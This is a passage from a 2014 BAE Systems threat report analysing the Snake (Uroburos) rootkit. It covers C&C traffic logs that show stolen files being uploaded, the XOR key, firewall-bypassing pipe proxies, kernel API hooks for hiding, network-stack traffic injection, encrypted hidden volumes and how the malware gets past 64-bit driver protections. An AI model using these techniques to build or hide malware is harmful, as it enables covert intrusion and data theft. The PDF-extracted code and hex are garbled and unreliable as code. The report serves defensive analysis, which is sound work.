HTTP/1.1 101 46.939359000 192.168.202.131  192.168.202.2   DNS   82 Standard query 0x5ae5 A swim.onlinewebshop.net 102 46.940914000 192.168.202.2    192.168.202.131 DNS   98 Standard query response 0x5ae5 A 83.125.22.197 107 47.287205000 192.168.202.131  83.125.22.197   HTTP 224 GET /D/pub.txt HTTP/1.1 109 48.219805000 83.125.22.197    192.168.202.131 HTTP 330 HTTP/1.1 200 OK (text/html) 118 48.813394000 192.168.202.131  192.168.202.2   DNS   82 Standard query 0x5362 A july.mypressonline.com 119 48.814837000 192.168.202.2    192.168.202.131 DNS   98 Standard query response 0x5362 A 83.125.22.197 123 49.131675000 192.168.202.131  83.125.22.197   HTTP 224 GET /D/pub.txt HTTP/1.1 125 49.780323000 83.125.22.197    192.168.202.131 HTTP 330 HTTP/1.1 200 OK (text/html) 137 50.536285000 192.168.202.131  31.170.161.136  HTTP 220 GET /D/77568289 HTTP/1.1 139 50.762073000 31.170.161.136   192.168.202.131 HTTP 474 HTTP/1.1 302 Found (text/html) 147 51.101706000 192.168.202.131  31.170.164.249  HTTP 217 GET /?
HTTP/1.1 154 51.548661000 192.168.202.131  83.125.22.197   HTTP 225 GET /D/77568289 HTTP/1.1 163 52.014730000 192.168.202.131  83.125.22.197   HTTP 225 GET /D/77568289 HTTP/1.1 165 52.637958000 83.125.22.197    192.168.202.131 HTTP 679 HTTP/1.1 200 OK (text/html) 10BAE Systems Applied Intelligence: Snake Rootkit Report 2014 Once decrypted, the malware interprets the received command, as reflected in the malware log below (the new CC server address is highlighted in it): 03:52:12 Del after 0 03:52:12 Run instruction: 6 ID:303149772147483647(13:41:34 05/08/2013) 03:52:12 Add address marketplace.servehttp.com/UPDATE/cert1024Un77kos 03:52:12 Finish run instruction.
After that, the malware connects to the new CC, asking it for another command: 03:52:13 1400: Connect marketplace.servehttp.com  type(0)... OK 03:52:13 1400: GET /IMAGE/pub.html 03:52:15 1400: Http status: 200 03:52:16 1400: recv 1/1 03:52:16 DownLoad 1 command(s).
00000000 74 E4 7E F4 9E 8E D8 65 B3 06 EB B3 08 EA 3E 84  t.....e....... 00000010 D5 A1 D2 ED 5D 0C 89 91 65 DE 4E B6 0C E2 2C 39  ....]...e.N...,9 00000020 A9 8A 3D B9 0B C0 E6 12 E9 F9 81 0A CF C3 D9 0C  ............... 00000030 5A 6A 15 B4 00 00 00 00 01 00 00 00 00 00 00 00  Zj.............. 00000040 31 64 4D 33 75 75 34 6A 37 46 77 34 73 6A 6E 62  1dM3uu4j7Fw4sjnb 00000050 13 3D D4 DA 90 F4 BA 35 1C 36 4A 79 69 96 B1 D4  ......5.6Jyi... 00000060 D8 F1 07 6F 7B CC C4 68 9D B7 86 3E 4B 6F BA FB  ...o..h...Ko.. 00000070 6E AB 7B 29 32 FD 7C 75 B9 DF 7F C0 0C 81 2D 14  n.)2.u......-.
00000080 23 F9 A4 DF D3 F1 18 97 4D CD 71 D0 52 D6 A2 E9  .......M.q.
R... 00000090 FF 58 30 3D A8 8A DD 4D 3F DB AE 9A F5 07 3B 21  .X0...M?.....
000000A0 67 5A 34 22 AD 60 CB DD A4 E2 B5 77 A1 6A 4C 2E  gZ4......w.jL.
000000B0 C8 75 91 01 CA 5B B3 28 3E 55 C8 68 B2 2C 40 E4  .u...[.
(U.h.,.
000000C0 02 A9 64 8B 80 BD 0E AB 58 25 00 40 6E AB DD 5B  ..d.....X.n..[ 000000D0 D1 0A 32 AE 4A E2 60 79 BE 47 10 AE 73 35 4C 65  ..2.J.y.
G..s5Le 000000E0 06 3C AA D8 F0 49 52 DB 22 A5 0D 7B 2B 4D 8A D1  ....IR...M.. 000000F0 21 5C 62 11 E6 13 E2 CA AF A5 4F 5A 9E 1C AF AE  \b.......OZ.... 00000100 C4 1C 36 4D A0 E4 72 3A CD 07 A3 01 AE E6 0A 84  ..6M..r:........ 00000110 D4 8B 03 FB 0D 68 19 FD 86 71 8E FD FC 2D C3 5C  .....h...q...-.\ 00000120 49 A4 E3 40 9B 77 16 BA 86 4A DD 0D 15 7D B1 BD  I...w...J..... 00000130 A9 54 C3 F6 E4 05 72 B1 E6 B7 A5 A7 31 CE 29 8B  .T....r.....1.
).
00000140 EF 95 58 2A 2E 48 0E 7A BD B8 B7 CE 48 32 E2 48  ..X.H.z....H2.H 00000150 2E E2 94 65 F0 19 FC F5 ED 1B                    ...e...... 00000000 49 44 33 30 33 31 34 39 37 37 32 36 36 30 38 34  ID30314977266084 00000010 37 38 30 38 23 30 36 20 26 6D 61 72 6B 65 74 70  780806 marketp 00000020 6C 61 63 65 2E 73 65 72 76 65 68 74 74 70 2E 63  lace.servehttp.c 00000030 6F 6D 26 2F 55 50 44 41 54 45 2F 26 63 65 72 74  om/UPDATE/cert 00000040 31 30 32 34 26 55 6E 37 37 6B 6F 23 73 26 26 26  1024Un77kos 00000050 0A                                               .
0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 0123456789ABCDEF Traffic is decrypted The command it receives from CC above (swim.onlinewebshop.net) is encrypted.
In order to decrypt it, the malware first applies the XOR mask to the bytes that start from offset 0x40: 1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6g s923HL34x2f5cvd0fk6c1a0s An identical XOR mask was also used by Agent.
BTZ.
Next, it calculates and confirms a CRC32 checksum within the command, further decrypts the data by using the Number Theory Library (NTL), and makes sure the command is destined to the current host by matching the ID field in it.
0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 0123456789ABCDEF 11BAE Systems Applied Intelligence: Snake Rootkit Report 2014 The command it receives is called UpLoad, so it uploads all the collected logs to the server, and then cleans out those logs: 03:52:16 UpLoad: http upload 4 file(s).
03:52:17 652: Connect marketplace.servehttp.com  type(0)... OK 03:52:17 652: GET test file /IMAGE/pub.html 03:52:17 652: POST /IMAGE/2/55198739672286404661840843638320033 03:52:18 652: C:\WINDOWS\NtUninstallQ812589\gstat32.bin 310[B] 03:52:19 652: Http Status:200 03:52:19 652: POST /IMAGE/2/32773318678423920155243775957661252 03:52:19 652: result.xml 1278[B] 03:52:20 652: Http Status:200 03:52:21 652: POST /IMAGE/2/41535327538451061594793127961089611 03:52:21 652: C:\WINDOWS\NtUninstallQ812589\mtmon32.sdb 655[B] 03:52:22 652: Http Status:200 03:52:22 652: POST /IMAGE/2/35192812459183876172895945534862460 03:52:22 652: C:\WINDOWS\NtUninstallQ812589\mtmon.sdb 748[B] 03:52:23 652: Http Status:200 The files it uploads are stored inside its home directory windows\NtUninstallQ[random], where [random] is a random number.
For example, Snakes home directory could be C:\WINDOWS\NtUninstallQ812589.
The files within that directory are used by the rootkit to store configuration and log data.
When decrypted with the same XOR key that was used by Agent.
BTZ, these files expose the following contents: mtmon.sdb - CC communication log that looks as the logs shown above.
mtmon_.sdb - installation log, that shows infected processes (Internet Explorer), the random name of the dropped DLL (e.g.
kbdfaori.dll), log directory, and the registry entry ShellCore that stores other configuration details: 03:52:02 TVer1.2 03:52:02 Parent:C:\Program Files\Internet Explorer\IEXPLORE.EXE 03:52:02 ver 3.2.0.0a inj  dll K:0  PID:712, C:\WINDOWS\system32\kbdfaori.dll, hostID:ea5cfa5ea1681bd6(16887647987074341846) 03:52:02 C:\WINDOWS\NtUninstallQ812589, Temp:C:\WINDOWS\NtUninstallQ812589\SPUNINST\Temp 03:52:02 REG:Software\Microsoft\Windows\CurrentVersion\ShellCore 03:52:02 ModuleStart: 03:51:42 scmp.bin - pipe server log that shows its assigned name (COMPUTERNAME is the name of the test system) and what processes it operates from: 02:04:24 TVer1.6 02:04:24 SPCOMPUTERNAME: Pipe server thread start 02:04:24 Inj[1620]:explorer.exe 03:51:42 Inj[712]:iexplore.exe ucmp.bin - another pipe server log: 02:04:44 TVer1.6 02:04:44 UPCOMPUTERNAME: Pipe server thread start 12BAE Systems Applied Intelligence: Snake Rootkit Report 2014 The diagram illustrates the operation steps 1-4: First, the malicious driver with the embedded DLL module injects that DLL into a system process, such as services.exe once loaded, the DLL will function in the pipe server mode.
As soon as the driver detects a usermode process that goes online (e.g.
a browser), it will inject malicious DLL module into it depending on the operational mode, the DLL may start communicating with CC directly.
In the pipe mode of operation, the injected DLL will start communicating with the pipe server by sending messages into the established inter-process communication pipes.
Once the task of communication with CC is delegated to the pipe server, it will start communicating with the CC, bypassing the host-based firewalls that keep an infected system process in a white-list.
Analysis of the sample reveals that it supports 3 modes of fetching CC commands.
In the first mode, it relies on Windows Internet (WinINet) APIs, such as HttpOpenRequest(), HttpSendRequest(), InternetReadFile(), etc.
In the second mode, it uses Windows Sockets 2 (Winsock) APIs, such as WSAStartup(), socket(), connect(), send(), etc.
In the third mode, it works in the pipe server mode, when it passes the web requests it is interested in (as a client) to the pipe server that runs within Windows Explorer (explorer.exe) and/or Internet Explorer (iexplore.exe) processes.
Memory pipes is a common mechanism for Inter-Process Communications (IPC).
When the pipe server reads such requests from the pipes, it performs the web request on behalf of a client by using WinINet APIs, so it effectively serves as a proxy.
The diagram below demonstrates the last, pipe server mode of Snake operation: INTER-PROCESS COMMUNICATIONS Internet User Mode Kernel Mode Snakes Kernel Mode Driver, with the DLL module embedded in it Embedded DLL Module Legitimate Process (e.g.
a browser) Legitimate Process (e.g.
a browser) System Process (e.g.
services.exe) Injected Snake DLL Injected Snake DLL Snake DLL in pipe server mode 3 1 3 4 2 2 1 2 3 4 13BAE Systems Applied Intelligence: Snake Rootkit Report 2014 The reason behind the pipes usage is to legitimise the outbound web requests, forcing them to originate from the host firewall- friendly system services.
Pipe server is a special mode of the injected DLL.
In order to switch into that mode, a dedicated thread is spawned to listen for IPC messages received through the pipes.
The memory pipes used by Snake are named as: \\.\Pipe\SP[COMPUTERNAME] \\.\Pipe\UP[COMPUTERNAME] where [COMPUTERNAME] is the name of the host computer.
Apart from GET/POST requests, the pipe clients (infected usermode processes) may also ask the pipe server to perform other operations on their behalf, such as saving data into a temporary file, copy/delete files, save configuration data into the registry under the aforementioned ShellCore value.
This delegation of tasks is designed to keep infected processes under the radar of the behavioural analysis tools for as long as possible.
Another reason is to overcome account restrictions imposed on a browser process in order to be able to write into files/ registry.
To delegate different types of tasks, the clients send messages to the pipe server using the following task identification headers: DATA CREATE CMD POST GET DEL REGISTR COPY The usermode component of Snake communicates with its kernel-mode driver via a device called \\.\vstor32 (created under kernel as \Device\vstor32).
In its communication protocol with the driver it uses the IOCTL code of 0x222038.
To write data, it opens the device with CreateFile(\\.\vstor32), then calls DeviceIoControl() API on its handle with IOCTL code of 0x222038.
Configuration parameters along with the initial set of domain names are hard-coded within the body of the DLL.
However, the data appears to be defined in the structures, so it is very likely the DLL could be generated by a stand-alone builder that patches the DLL with the new/updated list of CC.
Analysis of the commands performed by the malware suggests the following capabilities: Scan the network for the presence of other hosts (maximum 1 hour is allocated for this task) Set maximum upload file size Go stealth mode for the specified number of days - Snake will not initiate any connections during that time Run specified shell commands and collect the output logs for further delivery Modify settings stored with the registry key HKLM\Software\Microsoft\Windows\CurrentVersion\ShellCore Search for files Upload specified files Add new CC domains Update the driver with a new version Download files Run specified executable files Set self-deactivation timeout If the virtual partition \\.\vd1 exists, copy all Snake logs into that partition Together, these commands provide complete backdoor functionality, allowing remote attacker full control over the compromised system.
The ability to update the driver and then rely on its communication capabilities means that the components of Snake are flexible, making possible the existence of the hybrid (kernel-centric and usermode-centric) architectures.
For example, the virtual partitions are used by kernel-centric Snake variants, where the kernel-mode driver is responsible for the communications.
If such a driver is installed via an update, the usermode component can be instructed to delegate the file upload task to the driver by copying all the necessary logs into the shared virtual partition, physically located on the compromised host and thus, accessible from kernel.
14BAE Systems Applied Intelligence: Snake Rootkit Report 2014 This particular architecture relies on a kernel-mode driver to carry out the network communications.
The usermode DLLs are still injected into the system processes to perform high-level tasks.
The delivery mechanism is not known: it may be distributed via a thumb-drive, a phishing email attachment, or be delivered via an exploit across the network (e.g.
by using the reconnaissance tool that is explained later).
Infection starts from a dropper penetrating into the compromised system where it is allowed to run.
Once executed, the dropper installs the kernel mode driver in a pre-defined location.
The dropper itself is 32-bit, so it will run both on 32-bit and 64-bit Windows OS (in WoW64 mode).
On a 32-bit OS, it will install a 32-bit driver.
On a 64-bit OS, it will install a 64-bit driver.
The analysed 32-bit dropper creates a driver in the following location: windows\NtUninstallQ817473\fdisk.sys However, different samples may use a different path and driver file name.
For example, some samples exposed these filenames: fdisk_32.sys, A0009547.sys, or Ultra3.sys.
The filename of the dropper could be rkng_inst.exe or fdisk_mon.exe.
Once executed, the driver first makes sure it is registered under a pre-defined name, such as Ultra3.
Other samples may have a different registration name, such as ROOT.
The registration is ensured with creation of the following registry entries: ErrorControl  0 Group  Streams Drivers ImagePath  windows\NtUninstallQ817473\fdisk.sys Start  1 [SYSTEM] Type  1 in the newly created registry key HKEY_LOCAL_MACHINE\System\CurrentControlSer\Services\Ultra3 The driver then flags the following events with the notification purposes: \BaseNamedObjects\B93DFED5-9A3B-459b-A617-59FD9FAD693E \BaseNamedObjects\shell.
F21EDC09-85D3-4eb9-915F-1AFA2FF28153 The rootkit then places a number of the hooks.
The first API it hooks is IoCreateDevice().
The installed hook handler calls the original API and then checks if the name of the device is netbt or afd.
If so, it will install a TDI filter driver.
If the device name is Null, Beep, tcpip or Nsiproxy, it will activate itself by enabling its hooks designed to hide the presence of Snake on a system, set up its access control lists and the messaging system.
In order to hide its components, the driver hooks the following APIs: ZwQueryKey ZwEnumerateKey ZwCreateKey ZwSaveKey ZwReadFile ZwQuerySystemInformation ZwQueryInformationProcess ZwClose ZwTerminateProcess ZwShutdownSystem ObOpenObjectByName REGISTRATION SYSTEM HOOKS KERNEL-CENTRIC ARCHITECTURE 15BAE Systems Applied Intelligence: Snake Rootkit Report 2014 For example, the hook handlers of the registry-related APIs will block access to the registry entries that contain the name of the driver.
In one example, the rootkit blocks access to registry entries that contain the strings Ultra3 and ROOT.
The ZwReadFile() hook handler will block access to the home directory where the rootkit keeps its file.
In one of the analysed kernel-centric Snake samples the home directory was hard-coded as windows\NtUninstallQ817473, so it blocked file read access from that directory.
The ZwClose() hook handler is used to inject the DLL module into the userland processes.
The hook handler for ZwTerminateProcess() checks if the process being shut down is svchost.exe.
If so, it considers it to be a system shutdown, so it unloads its usermode DLL and deactivates its own network drivers, just like it does when its ZwShutdownSystem() hook handler gets invoked.
The ObOpenObjectByName() hook is designed to hide the presence of its virtual partitions (described later).
To encrypt data stored on its virtual partitions, the driver sets a hook for another API: IofCallDriver() To re-infect the usermode process svchost.exe and to re-enable its network drivers, the rootkit hooks these APIs: ZwCreateThread ZwCreateUserProcess The driver inspects bidirectional network data on a per stream basis, as its located right on the stream data path.
An ability to manipulate data streams is provided with the packet injection logic below, allowing Snake to covertly insert traffic destined to its CC servers: WFP CALLOUT DRIVER int __stdcall stream_inject(int flowHandle, int calloutId, int layerId)  int iRet  0 int ntStatus  FwpsAllocateNetBufferAndNetBufferList(m_hNdisNblPool, 0, 0, 0, 0, iRet) if (ntStatus)  ntStatus  _FwpsStreamInjectAsync(m_hInjection, 0, 0, flowHandle, calloutId, layerId, 20, 3, iRet, 0, sStreamInjectCompletion, 0) if (ntStatus)  iRet  0  if (iRet)  FwpsFreeNetBufferList(iRet)  return ntStatus  01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Snake then proceeds to the task of deep packet inspection and modification.
In order to accomplish it, it registers a callout driver for Windows Filtering Platform (WFP), an architecture first introduced with Windows Vista and nowadays normally used by antivirus and/or intrusion detection systems to inspect/block malicious traffic.
Snake sets filters at the layers FWPM_LAYER_STREAM_V4 and FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 in the TCP/ IP stack, so that its callout driver is notified whenever a TCP connection is established by a browser.
When that happens, the rootkit triggers an event named \BaseNamedObjects\wininet_activate.
When the data arrives, it is intercepted with the FwpsCopyStreamDataToBuffer0() API, and then scanned for the presence of the hidden commands from CC.
16BAE Systems Applied Intelligence: Snake Rootkit Report 2014 In addition to WFP, Snake also hooks the Transport Driver Interface (TDI) network routines by setting itself up as a TDI filter driver.
TDI is considered deprecated and will be removed in future versions of Microsoft Windows, but its still supported on Windows 7.
Being registered as a TDI driver on the device stack, Snake hooks TCP calls.
This way it intercepts all requests along with their parameters via IRP (IO request package) hooks.
By sniffing all the requests, it can now inspect the traffic, looking for and then parsing GET/POST HTTP requests and also SMTP communications, in order to distinguish commands addressed to itself.
If the rootkit detects that the OS version is pre-Vista (e.g.
Windows XP) or Windows Server 2008 (e.g.
Windows Server 2003), it will invoke FwpsStreamInjectAsync0() API in order to generate outbound requests.
Whenever the client establishes connections, the TDI driver will also pulse the \BaseNamedObjects\wininet_activate event, just like the WPF drivers component of it, in order to notify the userland service about the event.
The data that the driver intercepts, along with the important notifications, is passed to the userland DLL to be processed.
If the data contains commands from CC, the DLL module is expected to execute them and report results back to the driver to be delivered back to CC.
In order to qualify as a browser, the usermode process must have any of the following names: bool isBrowserProcess(const wchar_t szProcName)  return wcsicmp(szProcName, Liexplore.exe) wcsicmp(szProcName, Lfirefox.exe) wcsicmp(szProcName, Lopera.exe) wcsicmp(szProcName, Lnetscape.exe) wcsicmp(szProcName, Lmozilla.exe) wcsicmp(szProcName, Lchrome.exe)  01 02 03 04 05 06 07 08 09 TDI FILTER DRIVER NDIS HOOKING For NDIS versions 5.X, Snake rootkit contains code that installs NDIS filter intermediate driver.
This driver is set up above a miniport driver (a driver that communicates with the physical device) and below a protocol driver (a driver that implements a protocol, e.g.
TCP/IP).
The driver is registered with NdisIMRegisterLayeredMiniport() API.
After that, the drivers hooks the following exports within ndis.sys: NdisIMRegisterLayeredMiniport NdisTerminateWrapper The rootkit contains code that installs NDIS filter driver for NDIS 6.0 and above: Unique name: c06b1a3b-3d16-4181-8c8d-7015bfc5b972 User-readable description: filter_c06b1a3b NDIS filter driver configuration is stored in the registry entry: HKLM\SYSTEM\CurrentControlSet\Control\Network\4d36e974-e325-11ce-bfc1-08002be10318 The driver is registered with NdisFRegisterFilterDriver() API.
17BAE Systems Applied Intelligence: Snake Rootkit Report 2014 NDIS PROTOCOL DRIVER To send the data back, the protocol driver defines the data in a list of NET_BUFFER_LIST structures, and then passes them to NDIS by calling NdisSendNetBufferLists().
NDIS, in turn, calls the miniport drivers MiniportSendNetBufferLists() function to forward the data to an underlying miniport driver.
NDIS Protocol Driver NDIS NdisMIndicateReceiveNetBufferLists() ProtocolReceiveNetBufferLists() Miniport Driver The Snake rootkit registers itself as Network Driver Interface Specification (NDIS) protocol driver.
Intercepting Network Data Whenever the underlying miniport driver receives data from the network, it calls NDIS by invoking a data receive indication function NdisMIndicateReceiveNetBufferLists().
When that happens, NDIS invokes Snakes hook function (ProtocolReceiveNetBufferLists) to process the received data.
Sending Network Data NDIS MiniportSendNetBufferLists() NdisSendNetBufferLists() Miniport Driver NDIS Protocol Driver Being able to fully manipulate traffic at 3 different levels (NDIS protocol driver, TDI Driver, and WPF callout driver), Snake is able to inject the traffic into existing communications to reach out to external components, and at the same time parse all incoming traffic to detect traffic addressed to itself: After that, the drivers hooks the following exports within ndis.sys (for NDIS 6.0): NdisFRegisterFilterDriver NdisFDeregisterFilterDriver NdisSetOptionalHandlers NdisFSetAttributes Another set of exports it attempts to hook in ndis.sys (for NDIS 6.0) is: NdisMRegisterMiniportDriver NdisMDeregisterMiniportDriver NdisMIndicateReceiveNetBufferLists NdisMRestartComplete NdisMPauseComplete With the hooks installed, whenever the network adapter driver attempts to register to NDIS, or whenever there is an attempt to install NDIS intermediate driver or NDIS filter driver, the hook handlers will register Snakes own MiniportXxx functions with the NDIS library.
With its own miniport handler functions, it can send/receive data by using a private TCP/IP stack, bypassing all firewall hooks, and making its open ports invisible to scanners.
Internet Infected User Application Injected Module Memory pipes Snakes Kernel Mode Driver Traffic Injection Traffic Interception 0xDEADBEAF/0xC001BA5E Checks WFP            TDI             NDIS 18BAE Systems Applied Intelligence: Snake Rootkit Report 2014 DEAD BEEF ON A COOL BASE As the driver intercepts all connections (e.g.
on TDI_RECEIVE TDI event or ClientEventReceive() event notification triggered through its TDI Filter Driver), it parses all incoming HTTP and SMTP traffic to see if it can be authenticated as Snake traffic.
The authentication is implemented by decrypting the data and making sure it starts with the markers 0xDEADBEAF and 0xC001BA5E (which appear to derive from DEAD BEEF and COOL BASE).
Here are specific steps: The data it accepts should start from a 10 byte signature with the following rules: the first 8 bytes must all be ASCII characters, the parser calculates their total sum (sum): for (int i  0 i  8 i)  if ((BYTE )ptrBuffer  32 (BYTE )ptrBuffer  128)  return 0                  // if not ASCII, quit  sum  (BYTE )ptrBuffer        // add to sum ptrBuffer                      // advance buffer pointer  01 02 03 04 05 06 07 08 09 10 9th byte must be equal to sum / 26  65 10th byte must be equal to 122 - sum  26 if (((BYTE )ptrBuffer  sum / 26  65) ((BYTE )(ptrBuffer  1)  122 - sum  26))  result  0  01 02 03 04 05 Starting from the 11th byte, the data must be base64-encoded the parser decodes that data base_64_decode(abyBuffer  10, ptrDecoded, iMaxLength - 10) 01 02 03 Once decoded, the decrypted data should contain the aforementioned markers: .text:F6751426     lea      eax, [ebpdwMarker]               return marker here .text:F6751429     push     eax .text:F675142A     mov      ecx, [ebpbuf_len]                traffics buffer length .text:F675142D     push     ecx .text:F675142E     mov      edx, [ebpabyBuffer]              traffics buffer pointer .text:F6751431     push     edx .text:F6751432     call     decrypt_traffic                    decrypt traffic first .text:F6751437     test     eax, eax .text:F6751439     jz       short exit                        if failed, exit .text:F675143B     mov      eax, [ebpdwMarker]               check the returned marker .text:F675143E     cmp      eax, _DEADBEAF                    _DEADBEAF dd 0DEADBEAFh .text:F6751444     jnz      short exit                        if not 0xDEADBEAF, exit .text:F6751446     cmp      [ebpdwNextDword], 0C001BA5Eh     check next DWORD .text:F675144D     jnz      short next                        if not 0xC001BA5E, exit When the traffic is authenticated, its contents is then parsed by using GET, POST, http://, HTTP/, Content-Length, Connection, close tags, in order to retrieve HTTP requests SMTP traffic is also parsed, only by using MAIL , RCPT  tags in order to retrieve SMTP characteristics 19BAE Systems Applied Intelligence: Snake Rootkit Report 2014 By observing such behaviour, one might wonder why the driver is expecting HTTP or SMTP clients?
Why does it act like HTTP/SMTP server processing client traffic, and serving back normal responses as per the protocol?
For example, in HTTP the driver will respond with messages like HTTP/1.1 200 OK or HTTP/1.1 500 Server Error.
For SMTP traffic, it communicates back normal SMTP server responses, such as 250 Sender OK, 503 Bad sequence of commands, etc.
The reason behind such behaviour is that the driver is acting in this mode like a proxy, routing requests from other infected hosts to a remote CC server.
Another opportunity this mode unlocks is a peer-to-peer network mode with no centralised CC.
The infected hosts are capable of transferring the following peer-2-peer commands defining fragment size, reliability parameters, new peer information, peer impersonation flags, etc.
:
frag_size frag_no_scrambling peer_frag_size read_peer_nfo write_peer_nfo imp_level reliable_n_tries reliable_keepalive reliable_rtt reliable_padding reliable_no_keepalive m2b_raw psk key Once the incoming data is authenticated and decrypted, the driver passes it to the DLL by using memory pipes.
For example, on HTTP traffic arrival it may send traffic data into a memory pipe \Device\NamedPipe\isapi_http, and then, send a received peer-2-peer command message write_peer_nfo[IP_ADDRESS:PORT]0frag_no_scramblingY0 into another memory pipe called \Device\NamedPipe\isapi_dg.
In order to log its activity, the driver writes log data into the pipe \Device\NamedPipe\isapi_log, so that the DLL could log the data into the log files.
Full list of the named pipes used for communications is provided below: \Device\NamedPipe\isapi_http \Device\NamedPipe\isapi_log \Device\NamedPipe\isapi_dg \Device\NamedPipe\services_control Messages submitted into the pipes are wrapped into the structures.
The structures appear to contain headers to allow the pipe server, that runs within an infected userland module, to identify the messages first and then unwrap the structures accordingly.
For example, the message headers could be: domc.np frag.np Once received from the pipes and unwrapped/decoded, the data is then handled by the usermode DLL as per the data intention - whether its a traffic sniffing task, a peer-2-peer client logic, a logging task, or a task of saving received files into the virtual volumes.
20BAE Systems Applied Intelligence: Snake Rootkit Report 2014 The driver creates virtual file volumes for encrypted storage of its files and configuration data: \\.\Hd1 \\.\Hd2 The volumes are mounted from the virtual file systems RawDisk1 and RawDisk2.
The first partition is created with the following steps: the driver creates a 100Mb (0x6400000 bytes) file windows\NtUninstallQ817473\hotfix.dat by calling IoCreateFile() API then it creates a section object with the flags SEC_COMMIT and SEC_NOCACHE (0x18000000) by calling ZwCreateSection() the flags mean the file is mapped into memory, the entire range of pages will be committed next, it maps a view of the created section into the virtual address space by calling ZwMapViewOfSection() finally, it creates device \Device\RawDisk1 from the section map and mounts it as \\.\Hd1 The hook installed by the rootkit on IofCallDriver() API provides on-the-fly data encryption/decryption whenever that data is written to or read from the volume.
The encryption algorithm is based on CAST-128, with the hard-coded key stored in the rootkit body.
As a result, whenever the data is saved into the volume Hd1, it will be scrambled on-the-fly, and reflected in the persistent storage file hotfix.dat, which is physically located within the rootkits home directory: Z:\WINDOWS\NtuninstallQ817473dir Volume in drive Z has no label.
Volume Serial Number is 2479-98AC Directory of Z:\WINDOWS\NtuninstallQ817473 13/02/2014  04:47 PM    DIR          .
13/02/2014  04:47 PM    DIR          .. 03/02/2014  01:57 PM           210,944 fdisk.sys 13/02/2014  04:47 PM       104,857,600 hotfix.dat 2 File(s)    105,068,544 bytes 2 Dir(s)   8,406,433,792 bytes free Analysis of the hotfix.dat file contents reveals its a fully encrypted file with flat entropy.
Thus, it is not possible to reveal the contents of the Snakes volume by accessing the contents of this file (unless the encryption is broken, that is).
Enlisting the contents of the created volume is possible, along with creating files on it: C:\echo Test  \\.\Hd1\Test.txt C:\type \\.\Hd1\\Test.txt Test C:\dir \\.\Hd1\\ Volume in drive \\.\Hd1 has no label.
Volume Serial Number is BA9B-99E8 Directory of \\.\Hd1 14/02/2014  02:22 PM                 7 Test.txt 1 File(s)              7 bytes 0 Dir(s)               0 bytes free VIRTUAL FILE VOLUMES 21BAE Systems Applied Intelligence: Snake Rootkit Report 2014 However, as soon as IofCallDriver() hook is removed, the same dir command will fail, as with no hook the rootkit cannot decrypt the scrambled volume: C:\dir \\.\Hd1\\ Incorrect function.
This will produce the following results: For \\.\Hd1: For \\.\Hd2: The second volume \\.\Hd2 is not mapped to a file, so when a computer is switched off, its contents is lost.
Thus, it could be used as a temporary or a cache storage.
The data stored in \\.\Hd2 is encrypted the same way the first volumes data.
Both volumes appear to be set up as FAT volumes.
An attempt to read the data from these volumes with the code below: HANDLE hDisk  CreateFile(\\\\.\\Hd1, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL) BYTE lpBuffer[16384] DWORD dwBytes if (hDisk)  ReadFile(hDisk, lpBuffer, 16384, dwBytes, NULL) // inspect the buffer CloseHandle(hDisk)  01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 The ability to keep its data on TrueCrypt-like volumes provides Snake with a powerful ability to exchange data with the usermode DLL, as these volumes are accessible both from usermode and kernel mode.
Static analysis of the code reveals that the Snake driver uses virtual volumes to store its data and additional files on it.
For example, it stores its message queue in a file called: \.\\Hd1\queue The message queue indicates an asynchronous communication model between kernel mode driver and a usermode DLL, e.g.
to pass commands, configuration parameters, binary images of additional Snake components.
Other files that may also be found on the virtual volume are: klog, conlog, dump, rkng_inst.exe, where rkng_inst.exe could be the name of the original dropper, and other log files could potentially contain executed command outputs, intercepted keystrokes, and other output logs.
00000000 EB 00 00 00 00 00 00 00 00 00 00 00 02 04 02 00  ................ 00000010 02 00 02 00 00 F8 C8 00 20 00 02 00 01 00 00 00  ........ ....... 00000020 FF 1F 03 00 80 00 29 E8 99 9B BA 4E 4F 20 4E 41  ......)....NO NA 00000030 4D 45 20 20 20 20 46 41 54 31 36 20 20 20 00 00  ME    FAT16   .. 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 0123456789ABCDEF 00000000 EB 00 00 00 00 00 00 00 00 00 00 00 02 01 02 00  ................ 00000010 02 00 02 FF 7F F8 7F 00 20 00 02 00 01 00 00 00  ........ ....... 00000020 00 00 00 00 80 00 29 E8 99 9B BA 4E 4F 20 4E 41  ......)....NO NA 00000030 4D 45 20 20 20 20 46 41 54 31 36 20 20 20 00 00  ME    FAT16   .. 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................ 0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 0123456789ABCDEF 22BAE Systems Applied Intelligence: Snake Rootkit Report 2014 64-BIT EDITIONS OF WINDOWS The 64-bit version of Snake must deal with a number of additional security protections implemented in 64-bit editions of Microsoft Windows, the most significant of which are kernel driver signature validation and Kernel Patch Protection (more commonly known as PatchGuard).
PatchGuard is a feature of 64-bit Windows which aims to prevent modification of the Windows kernel, something that is often performed by malware attempting to hide itself on an infected system.
Although PatchGuard is successful at preventing kernel patching once initialised, several published bypass approaches exist4,5.
The technique used by Snake appears to be similar to these approaches.
The driver signing policy enforced by all 64-bit versions of Windows from Vista onwards requires all kernel-mode drivers to be signed with a valid digital signature.
The Snake dropper contains both 32-bit and 64-bit unsigned drivers, and it can successfully load its unsigned 64-bit driver on a 64-bit version of Windows XP  as driver signing is not enforced it does not have to resort to any tricks under this OS version.
In this case, in order to ensure the driver is loaded automatically at startup, the dropper can install the 64-bit driver on 64-bit Windows XP in the same way it installs a 32-bit driver on a 32-bit version of Windows XP.
On 64-bit versions of Windows Vista and above it behaves differently.
Firstly, the 64-bit unsigned driver file is created as usual: windows\NtUninstallQ817473\fdisk.sys However, the driver is not registered what is registered instead is the dropper itself.
